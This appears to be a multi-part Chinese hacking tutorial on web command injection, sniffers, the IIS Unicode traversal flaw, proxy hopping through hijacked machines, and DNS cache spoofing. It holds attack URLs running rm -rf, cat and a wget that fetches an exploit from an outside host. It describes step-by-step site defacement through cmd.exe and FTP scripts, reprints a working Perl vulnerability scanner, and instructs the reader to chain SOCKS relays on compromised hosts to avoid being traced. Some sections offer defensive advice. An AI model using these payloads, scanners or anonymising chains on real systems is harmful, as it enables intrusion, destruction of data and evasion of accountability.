这种字符后面常用在perl中执行命令,这个字符在web应用程序中不是经常的使用,所以,如果看到它在你的日志中,应该非常小心

Example:

http://host/something.cgi=`id`

一个perl写的有问题的cgi程序,会导致执行id命令

下面是针对管理员说的,因为现在很多网管都在看这个,所以我觉得有必要写一点,当然也是让你知道你的对手有哪些着数了,呵呵.我只是罗列了一些攻击后的痕迹,当然不能罗列所有了

'/bin/ls'

这个命令请求整个路径,在很多的web应用程序中都有这个漏洞,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。再一次提醒,写好的web应用程序(cgi,asp,php...etc)是安全的基础

Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|

http://host/cgi-bin/bad.cgi?doh=ls%20-al;

'cmd.exe'

这是一个windows的shell,一个攻击者如果访问并运行这个脚本,在服务器设置允许的条件下可以在windows机器上做任何事情,很多的蠕虫病毒就是通过80端口,传播到远程的机器上

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:

'/bin/id'

这是个2进制的文件,它的问题和/bin/ls一样,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。

它将显示属于哪个用户和属于哪个组

Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|

http://host/cgi-bin/bad.cgi?doh=id;

'/bin/rm'

这个命令可以删除文件,如果不正确的使用是非常危险的

Examples:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|

http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

'wget and tftp' 命令

这些命令常被攻击者用来下载可能进一步获得特权的文件,wget是unix下的命令,可能被用来下载后门程序,tftp是unix和nt下的命令,用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机

Examples:

http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

'cat' 命令

这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件和你能够想到的文件

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

'echo' 命令

这个命令常用于写数据到文件中,比如“index.html”

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20'fc-#kiwis%20was%20here'%20>>%200day.txt| http://host/cgi-bin/bad.cgi?doh=echo%20'fc-#kiwis%20was%20here'%20>>%200day.txt;

'ps' 命令

列出当前运行的进程,告诉攻击者远程主机运行了那些软件,以便从中得到一些安全问题的主意,获得进一步的权限

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux| http://host/cgi-bin/bad.cgi?doh=ps%20-aux;

'kill and killall' 命令

在unix系统这个命令用于杀掉进程,一个攻击者可以用这个命令来停止系统服务和程序,同时可以擦掉攻击者的痕迹,一些exploit会产生很多的子进程

Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200| http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

'uname' 命令

这个命令告诉攻击者远程机器的名字,一些时候,通过这个命令知道web站点位于哪个isp,也许是攻击者曾今访问过的。通常uname -a来请求,这些都将记录在日志文件中

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a| http://host/cgi-bin/bad.cgi?doh=uname%20-a;

'cc, gcc, perl, python, etc...' 编译/解释命令

攻击者通过wget或者tftp下载exploit,并用cc,gcc这样的编译程序进行编译成可执行程序,进一步获得特权

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;

如果你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的perl ,python脚本程序,并试图本地获得特权

'mail' 命令

攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱,也肯能是进行邮件炸弹的攻击

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@****cnhonker.org%20<

『第14天』sniffer,今天开始说它了

sniffers(嗅探器)几乎和internet有一样久的历史了.他们是最早的一个允许系统管理员分析网络和查明哪里有错误发生的工具.但是这个工具也给我们带来很大的方便。今天我们看2个问题:1。什么是sniffer 2。如何防止sniffer的监听。似乎是矛盾的哦,呵呵,要2个方面都知道才能百战百胜嘛

什嘛是sniffer (抄定义的)

在单选性网络中, 以太网结构广播至网路上所有的机器, 但是只有预定接受信息包的那台计算机才会响应. 不过网路上其他的计算机同样会"看到"这个信息包,但是如果他们不是预定的接受者,他们会排除这个信息包. 当一台计算机上运行着sniffer的时候并且网络处于监听所有信息交通的状态, 那么这台计算机就有能力浏览所有的在网络上通过的信息包.(这个当然很爽了)

那你就有个问题谁使用这个呢?lan/wan 管理员使用sniffers来分析网络信息交通并且找出网络上何处发生问题.一个安全管理员可以同时用多种sniffers, 将它们放置在网络的各处,形成一个入侵警报系统.对于系统管理员来说sniffers是一个非常好的工具,当然还有我们大家了。那常见的sniffers 有哪些呢?很多,我常用的有Sniffer Pro。当然看一些文章介绍了snoop,但注意这是在UNIX下的,我没怎么用 过 ,所以就不说这个了。至于其他一些好用的,我想你学到现在了应该可以自己找了(上GOOGLE 或是BAIDU都可以,不然去www.yahoo.com也不错的)。

那怎么防止sniffer的监听?

显而易见的,保护网络不受sniffer监听的方法就是不要让它们进入. 如果一个人不能通过你的系统进入的话,那么他们无法安装sniffers.当有人看上一个大多数网络通讯流通的中心区域(防火墙或是代理服务器)时,他们便确定这是他们的攻击目标并将被监视.一些可能的"受害者"在服务器的旁边,这时候个人信息将被截获(可能是各种信息甚至是密码)

一个好的方式来保护你的网络不受sniffer监视是将网络用以太网接线器代替普通的集线器分成尽可能多的段.接线器可以分割你的网络通讯并防止每一个系统"看到"每个信息包.坏处是这种东西太贵了,这个还是很重要的

另一个方法是,和那种接线器比就是加密术.Sniffer依然可以监视到信息的传送,但是显示的是乱码.但这个有问题就是网络会延迟,当然还有速度问题和使用一个弱加密术比较容易被攻破。

用一些软件也可以帮助你查出是不是有人在监视你,比如AntiSniff(很小的,但可以扫描你的网路并测试一台计算机是否运行在混杂模式(监听网路上每个数据包)什么意思?你看看上面的类容吧),下载:http://www.pdasky.com.cn/down.asp?id=2876&no=1

『第15天』网络监听技术分析 纯属理论

今天我们先说几个基本概念.首先,我们知道,一台接在以太网内的计算机为了和其他主机进行通讯,在硬件上是需要网卡,在软件上是需要网卡驱动程序的。而每块网卡在出厂时都有一个唯一的不与世界上任何一块网卡重复的硬件地址,称为mac地址。同时,当网络中两台主机在实现tcp/ip通讯时,网卡还必须绑定一个唯一的ip地址.

对我们来说,浏览网页,收发邮件等都是很平常,很简便的工作,其实在后台这些工作是依*tcp/ip协议族实现的,大家知道有两个主要的网络体系:OSI参考模型和TCP/IP参考模型,OSI模型即为通常说的7层协议,它由下向上分别为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层,而tcp/ip模型中去掉了会话层和表示层后,由剩下的5层构成了互联网的基础,在网络的后台默默的工作着。

当局域网内(因为我们最常见的就是局域网)的主机都通过HUB等方式连接时,一般都称为共享式的连接(就是大家长说的共享),这种共享式的连接有一个很明显的特点:就是HUB会将接收到的所有数据向HUB上的每个端口转发,也就是说当主机根据mac地址进行数据包发送时,尽管发送端主机告知了目标主机的地址,但这并不意味着在一个网络内的其他主机听不到发送端和接收端之间的通讯,只是在正常状况下其他主机会忽略这些通讯报文而已!如果这些主机不愿意忽略这些报文,网卡被设置为promiscuous状态的话,那么,对于这台主机的网络接口而言,任何在这个局域网内传输的信息都是可以被听到的。如果网卡被设置为为混杂模式(promiscuous),主机将会默不作声的听到以太网内传输的所有信息,也就是说:窃听也就因此实现了!

对发生在局域网的其他主机上的监听,一直以来,都缺乏很好的检测方法。这是由于产生网络监听行为的主机在工作时总是不做声的收集数据包,几乎不会主动发出任何信息。但可惜的有些大虾们就爱动脑筋啊,现在已经有些方法了

1:反应时间

向怀疑有网络监听行为的网络发送大量垃圾数据包,根据各个主机回应的情况进行判断,正常的系统回应的时间应该没有太明显的变化,而处于混杂模式的系统由于对大量的垃圾信息照单全收,所以很有可能回应时间会发生较大的变化。这个方法很好,但有时候也没用因为大家没经验嘛

2:观测dns

许多的网络监听软件都会尝试进行地址反向解析,在怀疑有网络监听发生时可以在dns系统上观测有没有明显增多的解析请求。没DNS的或者不能接触的就有点郁闷了

3:利用ping模式进行监测

这个方法我不怎么知道,看了一些文章就COPY了一下,有点头晕,但应该能看懂:假设我们怀疑的主机的硬件地址是00:30:6E:00:9B:B9,它的ip地址是192.168.1.1,那么我们现在伪造出这样的一种icmp数据包:硬件地址是不与局域网内任何一台主机相同的00:30:6E:00:9B:9B,目的地址是192.168.1.1不变,我们可以设想一下这种数据包在局域网内传输会发生什么现象:任何正常的主机会检查这个数据包,比较数据包的硬件地址,和自己的不同,于是不会理会这个数据包,而处于网络监听模式的主机呢?由于它的网卡现在是在混杂模式的,所以它不会去对比这个数据包的硬件地址,而是将这个数据包直接传到上层,上层检查数据包的ip地址,符合自己的ip,于是会对对这个ping的包做出回应。这样,一台处于网络监听模式的主机就被发现了。

4:利用arp数据包进行监测

这个方法和上面的差不多,它使用arp数据包替代了上述的icmp数据包而已,向局域网内的主机发送非广播方式的arp包,如果局域网内的某个主机响应了这个arp请求,那 么我们就可以判断它很可能就是处于网络监听模式了,这是目前相对而言比较好的监测模式。

(什么叫ARP?就说ARP协议,它是Address Resolution Protocol”(地址解析协议)的缩写,在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的.所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。)

昨天有些朋友说找不到一些网络监听的工具,你在www.google.com搜sniffer tools有很多的.

我就列举一些了

Windows平台下的:

Windump http://www.xfocus.net/tools/200108/238.html

相关介绍:http://security.zz.ha.cn/windump.html

注意这个是在NT下用的98就别用了,说到这想说一局如果你的系统是98或是ME的,最好换一个,因为好多很好的软件都要求是NT的

UNIX下:

Sniffithttp://www.programsalon.com/download.asp?type_id=53 第6个

该软件的安装介绍:http://www.xfocus.net/articles/200001/28.html

[第16天]IIS5 UNICODE 编码漏洞

unicode 漏洞是最容易让入侵者得手的一个漏洞,可以不费吹灰之力将主页改掉,重则删除

硬盘上的数据,高手甚至获取administrator 权限!

漏洞自大前年年10 月份公布至今,居然国内还有这么多的服务器存在着该漏洞

下面我从一般的入侵手法分析如何做相应的防护对策.

(一)unicode 漏洞的原理

有关漏洞的原理网上已经有很多相关的文章了,我不打算详细说,还是简单的来了解了解

好了!

实际上就是UNICODE 编码存在BUG,在UNICODE 编码中

%c1%1c -〉(0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'

%c0%2f -〉(0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

在NT4 中/编码为%c1%9c .在英文版里:WIN2000 英文版%c0%af

该漏洞是利用扩展UNICODE 字符取代"/"和"\"而能利用"../"目录遍历,故在一台有

unicode 漏洞的服务器ip 后边加上/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\就可

以看到主机上c 盘的所有文件及目录.

(二)unicode 漏洞的危害

未经授权的用户可能利用IUSR_machinename 账号的上下文空间访问任何已知的文件。

该账号在默认情况下属于Everyone 和Users 组的成员,因此任何与Web 根目录在同一逻辑

驱动器上的能被这些用户组访问的文件都能被删除,修改或执行,就如同一个用户成功登陆

所能完成的一样。

以上部分内容摘自绿盟!

(三)unicode 漏洞的攻击手法

1、利用漏洞修改主页

这可能是新手们最兴奋的事情了!每当他们成功地黑掉一个网页后都有一股极大的满足

感.然而黑网页也是最简单的事情。

手段描述一:入侵者先用扫描工具扫到有漏洞的主机后,在IE 的地址栏里输入http://主机

的ip/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\就可以看到主机上c 盘的所有文件

了.要查主页放在什么地方的话,可以将后边的dir+c:\换成set ,从返回的错误信息中找到

PATH_TRANSLATED=c:\inetpub\wwwroot 这一句(具体的路径根据具体的情况而定).其中的

c:\inetpub\wwwroot 就是主页所在的地方!接着入侵者为了避免系统对特殊字符的检测,故将

本地机器的CMD.EXE 程序复制到主机的c:\inetpub\scripts 目录中,这样干起活来就容易多了!

他们查到主页的名字后,就可以利用echo 命令来写入信息,将内容覆盖掉主页文件就把主页

给黑了。

手段描述二:除了上面的土方法外,入侵者可以将有声有色的黑页替换主页,这样黑得不是

更爽吗?来看看他们是如何做到的。

先在本地硬盘建立个共享文件夹(如gale),把黑页复制进去。照样把cmd.exe 拷贝到目标

的c:\inetpub\scripts 下,名字为gale.exe,映射本地的gale 目录为目标的一个盘(如q:)

把q:里的复制到目标主机的网页目录去。覆盖对方的网页文件,最后断开映射就可以了.

这是利用本地共享目录和映射硬盘的方法替换黑页,如果黑页有背景又有音乐,文件很大,上

传费事,怎么完美一点呢?请看下边。

手段描述三:这种方法也是红客们黑美国、日本的时候最常用的手法。

入侵者先申请一个免费空间,把做好的黑页上传上去,然后利用echo 命令在目标主机

上建立一个文本文件,写上几行命令,如下:

目标主机ip/scripts/gale.exe?/c+echo+open+你黑页所在的免费空间ip>文本文件名.txt

目标主机ip/gale.exe?/c+echo+你在黑页空间上的帐户>>文本文件名.txt

目标主机ip/gale.exe?/c+echo+密码>>文本文件名.txt

目标主机ip/gale.exe?/c+echo+get+index.htm>>文本文件名.txt

目标主机ip/gale.exe?/c+echo+bye>>文本文件名.txt

目标主机ip/gale.exe?/c+ftp+-s:文本文件名.txt

这样入侵者就可以将黑页从另外一个空间下载到目标主机上,copy 过去覆盖就可以了。

这样入侵者不受地方的限制,随便什么地方了,比如网吧。

(四)unicode 漏洞的防护措施

说了那么多,现在该转入正题了,下面我来说说防范的措施,这也是从攻击中总结出来

的一些措施,希望对大家有帮助。

1、打上最新补丁

作为一个网络管理员,为了服务器的安全,需要不停的打上最新补丁,这是比较有效的

方法。但你要记住:在网络上,没有绝对的安全的,道高一尺,魔高一丈,完全相信防火墙和系

统补丁往往是很愚蠢的。

2、冷酷到底,拒人于千里之外

相信到现在还利用unicode 漏洞入侵的人都是些新手傻瓜们!他们没有确定的入侵目标,

只是抓个扫描器来乱扫一通,扫到就黑,扫不到就哭的那种。对付扫描器扫出未知的漏洞,

这是管理员的聪明之处。如何躲过扫描器的眼睛呢?请先看看下面一个用perl 写的扫描器代

码吧:

#!/usr/bin/perl

#Root Shell Hackers

#piffy

#this is a quick scanner i threw together while supposedly doing homework in my room.

#it will go through a list of sites and check if it gives a directory listing for the new IIS hole

#it checks for both %c0%af and %c1%9c (其他版本的请修改这样的字符)

#perhaps a public script to do some evil stuff with this exploit later... h0h0h0

#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the hole =]

use strict;

use LWP::UserAgent;

use HTTP::Request;

use HTTP::Response;

my $def = new LWP::UserAgent;

my @host;

print "root shell hackers\n";

print "iis cmd hole scanner\n";

print "coded by piffy\n";

print "\nWhat file contains the hosts: ";

chop (my $hosts=);

open(IN, $hosts) || die "\nCould not open $hosts: $!";

while ()

{

$host[$a] = $_;

chomp $host[$a];

$a++;

$b++;

}

close(IN);

$a = 0;

print "ph34r, scan started";

while ($a < $b)

{

my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";

my $request = new HTTP::Request('GET', $url);

my $response = $def->request($request);

if ($response->is_success) {

print $response->content;

open(OUT, ">>scaniis.log");

print OUT "\n$host[$a] : $response->content";

-close OUT;

} else {

print $response->error_as_HTML;

}

&second()

}

sub second() {

my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";

my $request = new HTTP::Request('GET', $url2);

my $response = $def->request($request);

if ($response->is_success) {

print $response->content;

open(OUT, ">>scaniis.log");

print OUT "\n$host[$a] : $response->content";

-close OUT;

} else {

print $response->error_as_HTML;

}

$a++;

}

代码摘自绿盟。

不知道大家注意到上面长长的两行$url 和$url2 了没有,其实只是简单的字符串处理而

已。于是有以下几种方法避过扫描器的扫描:

①更改winnt 目录名

安装winnt 或者win2000 时,缺省目录是c:\winnt.可以把这个目录名改成别的目录名,

这样扫描器递交"http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\"类似的

url 时就会返回"找不到该页"的信息。这样大部分扫描器就成失灵了。(不知道小榕的流光能

不能躲得过,但大部分的用perl 写的扫描器经这样改了之后都不起作用了)。

安装前就可以这样,但是已经安装了,确实不想改winnt/2000 的目录怎么办呢?那好,可以

看看下边的:

②更改cmd.exe 和各常用命令的名称

更改cmd.exe 的名称也可以达到同样的效果,而且更加可*,假如你只更改winnt/win2000

所在的目录名的话,别人猜对后仍然可以黑掉你。同时把一些不常用的而且有危害的命令改

成只有你知道的名字,①和②结合的话更完美!

③改变web 目录位置

通常主页所在的位置是在C:\InetPub\wwwroot 里。在c:\inetpub 里有scripts 之类的目录。

如果你不需要他们的话,你可以把web 目录转移到别的分区,比如e:\netroot 然后把C:\inetpub

整个删除掉.日本有一台主机就做的比较好,它的机器明明存在有unicode 漏洞,但将web 目录

转移到d 盘,并且d 盘是不可写的,有位新手在QQ 上向我抱怨说:"老大!你说的方法不行呀,

我黑不了!呜呜呜~~",哈!象这样,一般的人就难以修改主页了,(注意:这只能防止一般的人,高

手只要动动脑筋,照样能黑掉!).

④停止不必要的服务

在internet 服务器中,为了系统的安全,您必须停掉所有的缺省web 目录的服务。然后统统

删掉,只保留你所要的,以免招来后患.

⑤改变服务的端口号

在保证不影响访问率的情况下,我们可以把web 服务的端口由80 改成别的,比如108。

因为很多还是利用unicode 漏洞攻击的人一般都是新手,他们都是拿一个扫描工具扫一个ip

段的,这样做就可以躲避那种扫描一段网段的攻击者的扫描了。(注意:此方法只能防止这种方

式的扫描,别有用心的攻击者照样可以通过修改扫描器的插件来实行扫描的.但受攻击的可能

性已经减低.)

3、限制iusr_server 的权限

上面所说的措施是把攻击者拒绝于门外,如果真的很不幸,给攻击者找到门上来了,那

不是死定了?不一定!攻击者利用UNICODE 漏洞遍历目录时的用户权限是决定于

iusr_server 的权限的,而通常iusr_server 是属于guest 组的。我们只要进一步限制iusr_server

的权限还有可能挽回(对于高手们就不一定这么说了)。

建议如下:采用NTFS 格式的文件系统,将web 目录外所有的访问权限设置为:用户

iusr_server 不可访问!注意:不要给iusr_server 对web 目录有写权限!理由是什么大家都很

清楚!你的主页就是给这样的家伙给黑的,如果他没有写的权限,就象那台日本的主机一样,

一般的新手们就难以下手了。(但是,那些确实是非写不可的地方,如:聊天室或论坛,是

可以适当放开的)。

4、偷吃成功,寻找蛛丝马迹

这就是分析访问日志,一名合格的管理员,应该有经常查看日志的好习惯.日志是非常的

多的,看起来很麻烦,但对于unicode 漏洞的攻击,只要查看分析web 服务的访问日志就可以

了。扫描器的扫描和已经攻击完了的动作都会被记录下来,要注意特别留意出现的"cmd.exe"

字眼。

最后,我建议:

①管理好你的admin 帐户和密码

因为现在的黑客新手们虽然是冲着unicode 漏洞而来,但他们的师父们往往推荐他们用小

榕的流光,这是一个强大的漏洞扫描工具.在扫描的过程中,脆弱的管理员帐户和密码(如:帐

户:admin 密码:1234)很容易被猜中,给他们带来了以外的收获.无论怎么强大,流光也是*黑

客字典来暴力破解的,只要你密码复杂就可以避免猜中.长度最好超过8 位,大小写和复杂字符

同时出现,如:g&A$l#e7 这样的密码就很难被猜中,当然,也许我这是废话。现在出现弱口令的机会是不多了

②经常更改管理员的密码

保证只有你自己一个用户出现在管理员组,经常检查有没有可疑的用户。一般的新手都是

学着别人教的招数,在管理员组里增加一个用户,留作后门.从入侵的角度来说,这是很危险的

做法,但作为管理员不可能没有发现的,(那要看管理员的素质如何了)。

[第17天]跳板的故事

跳板,这里的不是指跳水的扳子(废话),我想大家多跳板都应该有个基本的认识:就是通过这个东西跳过什么东西,掩盖什么东西。就是隐藏你的足迹,想要找出你,就必须连接x个你所通过的机器,并且找出他们的log,如果碰巧有一个没有记录,线就断了:),即使都记录了,log里面登记的IP也是上一级跳板主机的IP…

当然跳板还可以用于:

.QQ或者ICQ

. ftp客户端

. mail客户端

. telnet客户端

. 端口扫描器

. (以及几乎所有在网络中所使用的工具)

想想如果不要跳板我们不是很危险吗?

这可能不适用于某些IRC服务器,因为它们常常查看打开着的wingates及proxies。

先说简单的windows下的sock代理怎么做

一.找一些运行wingate的主机

原因:因为wingates的默认安装打开端口1080并且不记录socks连接。

怎么找这些机子呢?你可以用‘代理猎手’,好象中国人都用这个,国外人好象喜欢用wingatescan,或是从这里可以找到最新的:http://www.cyberarmy.com/lists/wingate(国外的,我建议大家用国外的,因为追查有难度啊)

二.确认列表中的主机的确运行着wingate

三.安装一个能截取发送的信息包的软件

我使用的是一个叫purpose的工具,你可以从

http://www.buffy.nu/article.php3?id_article=3043

要设置它,只要在socks server填上: 127.0.0.1 port 8000.

选择'socks version 5'.再点击'resolve all names remotely'.

不要选'supported authentication'。

在主界面,选择new然后建立一个你希望socks支持的程序的快捷方式

对所有你想匿名的程序做同样的工作,至于有哪些你就自己想了

四.安装socks chainer

从http://www.ufasoft.com/socks下载该工具

在service菜单, 点击new。在name段输入Chain,port则输入8000。

点击new 并且将你找到最快的wingates的IP填进去,端口则填1080。

使用 '<' 和 '>', 你可以添加或者移除socks. 记得一定要在使用前测试所有的socks.

五.测试你的设置

用你所建立的浏览器的快捷方式打开浏览器,连接到

http://cavency.virtualave.net/cgi-bin/env.cgi或者

http://internet.junkbuster.com/cgi-bin/show-http-headers

同样,打开你的telnet客户端并尝试telnet到

ftp.cztc.edu.cn

你可以通过https://sites.inka.de:8001/cgi-bin/pyca/browser-check.py来检测SSL或者

FTP到ftp.zedz.net——或者其它的FTP来验证你的IP。

在上面的测试中,远程主机上留下的将是你最后一个chain的IP地址。当然你可以在自己的

网络里进行测试……

再说说另一种吧SkSockServer“(下面称SSS)

这个与上面的利用著名的wingate做的有什么区别?

1/ 普通的Sock代理程序不支持多跳板之间的连续跳,而SSS却可支持最多达255个跳板之间的连跳运动

2/ 普通的Sock代理程序之间的数据传输是不加密的,而SSS支持的跳板之间传输的数据是经过动态加密的,也就是说每次传输过程中,数据加密的方式都不相同。就算你不幸在..的过程中被webmaster发现,普通的sock代理程序将会被webmaster用sniffer把你的信息一览无遗,而恰巧你用的是SSS的话,呵呵~他将会看到一堆乱码

3/普通的sock代理程序在设置上比较烦琐,而SSS只用两步就全都ok了。(具体步骤将在下面说明) 普通的sock代理程序要不然只支持Tcp或Udp的连接,很少有二者兼顾的,而SSS却全部支持

下面是一个大哥写的教程我觉得不错,就COPY一下了

找A机上传SSS文件,(怎么找我想你应该有个肉鸡吧)如果权限足够的话,应该可以完成SSS的安装和启动。所示:

SSS命令参数的说明:

-install 在NT机上安装SSS

-remove 移除SSS.

-debug 呵呵~snake进行debug用的,对于咱们老百姓来言无用。

sksockserver –install 安装sksockserver。

net start skserver 启动skserver服务。:(注意:这可是在A机上运行的,可不是你自己的爱机)

Ok啦~A机跳板完成,下面进行B机跳板的安装:

打开终端服务客户端连上找到的B菜机。

用B菜机的IE直接下载SSS~~呵呵~如图2:(IP地址隐去啦~大家自己找菜机吧)

在B菜机上配置sockservercfg(因为是用vc编写的sockservercfg,所以必须有mfc的库文件,如果出现“无法定位序数XXXX于动态连接库mfc42.dll”的话,大家可以在自己的机子上找找,最终上传到B菜机的路径:X:\winnt\system32)

SSS的配置界面一:在名称处可以填上任意的程序说明,以方便糊弄网管。要注意三处画红圈处,分别为:程序在开机时自动启动(我第一次用的时候还以为是给SSS自动分配端口~哎~Snake!So lazy!~)、安装服务、启动服务。

SSS的配置界面二:是对client端进行限制的配置(呵呵~大家讲点义气,就别做限制啦)

SSS的配置界面三:重要的地方哟!在IP处填入刚才做好的A菜机的Ip地址;激活bActive处(哎~什么叫bActive呀~就不会多作一个取消的?Snake!!!Too too lazy!);之后点Add.

最后提醒一句别忘了点确定哟

ok啦~大功告成!再向大家推荐最后一个好东东-SocksCap(你可以在这找到:http://www.youngzsoft.com/cn/sockscap/)。在自己的机子上装好SocksCap后,设定用Sock5代理的IP地址(就是A菜机的地址),在SocksCap下运行程序,例如:telnet,ftp,ntshell,IE。。。。。所有可以上网的程序,呵呵~这样的你就从网络彻底消失啦~~

总结:

这篇文章只讲了两个跳板,同理,只要再设置 C,D,E.....(只要你不嫌麻烦)上的配置,就连跳了n个跳板啦;在设置A机的时候其实最好也用3389登陆设置,这样的话可以自己设定SSS的端口。

『第18天』几个DNS问题和网络攻击与防范

现在的Internet上存在的DNS服务器有绝大多数都是用bind来架设的,使用的bind版本主要为bind 4.9.5+P1以前版本和bind 8.2.2-P5以前版本.这些bind有个共同的特点,就是BIND会缓存(Cache)所有已经查询过的结果,这个问题就引起了下面的几个问题的存在.(什么叫BIND?BIND是一款由ISC维护的Internet域名名字系统实现。)

1>.DNS欺骗

在DNS的缓存还没有过期之前,如果在DNS的缓存中已经存在的记录,一旦有客户查询,DNS服务器将会直接返回缓存中的记录.

下面我们来看一个例子:

一台运行着unix的Internet主机,并且提供rlogin服务,它的IP地址为123.45.67.89,它使用的DNS服务器(即/etc/resolv.conf中指向的DNS服务器)的IP地址为98.76.54.32,某个客户端(IP地址为38.222.74.2)试图连接到unix主机的rlogin端口,假设unix主机的/etc/hosts.equiv文件中使用的是dns名称来允许目标主机的访问,那么unix主机会向IP为98.76.54.32的DNS服务器发出一个PTR记录的查询:

123.45.67.89 -> 98.76.54.32 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: 2.74.222.38.in-addr.arpa PTR

IP为98.76.54.32的DNS服务器中没有这个反向查询域的信息,经过一番查询,这个DNS服务器找到38.222.74.2和38.222.74.10为74.222.38.in-addr.arpa.的权威DNS服务器,所以它会向38.222.74.2发出PTR查询:

98.76.54.32 -> 38.222.74.2 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: 2.74.222.38.in-addr.arpa PTR

请注意,38.222.74.2是我们的客户端IP,也就是说这台机子是完全掌握在我们手中的.我们可以更改它的DNS记录,让它返回我们所需要的结果:

38.222.74.2 -> 98.76.54.32 [Answer]

NQY: 1 NAN: 2 NNS: 2 NAD: 2

QY: 2.74.222.38.in-addr.arpa PTR

AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com

AN: trusted.host.com A 38.222.74.2

NS: 74.222.38.in-addr.arpa NS ns.sventech.com

NS: 74.222.38.in-addr.arpa NS ns1.sventech.com

AD: ns.sventech.com A 38.222.74.2

AD: ns1.sventech.com A 38.222.74.10

当98.76.54.32的DNS服务器收到这个应答后,会把结果转发给123.45.67.98,就是那台有rlogin服务的unix主机(也是我们的目标 :) ),并且98.76.54.32这台DNS服务器会把这次的查询结果缓存起来.

这时unix主机就认为IP地址为38.222.74.2的主机名为trusted.host.com,然后unix主机查询本地的/etc/hosts.equiv文件,看这台主机是否被允许使用rlogin服务,很显然,我们的欺骗达到了.

在unix的环境中,有另外一种技术来防止这种欺骗的发生,就是查询PTR记录后,也查询PTR返回的主机名的A记录,然后比较两个IP地址是否相同:

123.45.67.89 -> 98.76.54.32 [Query]

NQY: 1 NAN: 0 NNS: 0 NAD: 0

QY: trusted.host.com A

很不幸,在98.76.54.32的DNS服务器不会去查询这个记录,而会直接返回在查询2.74.222.38.in-addr.arpa时得到的并且存在缓存中的信息:

98.76.54.32 -> 123.45.67.89 [Query]

NQY: 1 NAN: 1 NNS: 2 NAD: 2

QY: trusted.host.com A

AN: trusted.host.com A 38.222.74.2

NS: 74.222.38.in-addr.arpa NS ns.sventech.com

NS: 74.222.38.in-addr.arpa NS ns1.sventech.com

AD: ns.sventech.com A 38.222.74.2

AD: ns1.sventech.com A 38.222.74.10

那么现在unix主机就认为38.222.74.2就是真正的trusted.host.com了,我们的目的达到了!

这种IP欺骗的条件是:你必须有一台Internet上的授权的DNS服务器,并且你能控制这台服务器,至少要能修改这台服务器的DNS记录,我们的欺骗才能进行.

2>.拒绝服务攻击 Denial of service

还是上面的例子,如果我们更改位于38.222.74.2的记录,然后对位于98.76.54.32的DNS服务器发出2.74.222.38.in-addr.arpa的查询,并使得查询结果如下:

因为74.222.38.in-addr.arpa完全由我们控制,所以我们能很方便的修改这些信息来实现我们的目的.

38.222.74.2 -> 98.76.54.32 [Answer]

NQY: 1 NAN: 2 NNS: 2 NAD: 2

QY: 2.74.222.38.in-addr.arpa PTR

AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com

AN:www.company.com A 0.0.0.1

NS: 74.222.38.in-addr.arpa NS ns.sventech.com

NS: 74.222.38.in-addr.arpa NS ns1.sventech.com

AD: ns.sventech.com A 38.222.74.2

AD: ns1.sventech.com A 38.222.74.10

这样一来,使用98.76.54.32这台DNS服务器的用户就不能访问www.company.com了,因为这个IP根本就不存在!

3>.偷取服务 Theft of services

还是上面的例子,只是更改的查询结果如下:

38.222.74.2 -> 98.76.54.32 [Answer]

NQY: 1 NAN: 3 NNS: 2 NAD: 2

QY: 2.74.222.38.in-addr.arpa PTR

AN: 2.74.222.38.in-addr.arpa PTR trusted.host.com

AN:www.company.com CNAMEwww.competitor.com

AN: company.com MX 0 mail.competitor.com

NS: 74.222.38.in-addr.arpa NS ns.sventech.com

NS: 74.222.38.in-addr.arpa NS ns1.sventech.com

AD: ns.sventech.com A 38.222.74.2

AD: ns1.sventech.com A 38.222.74.10

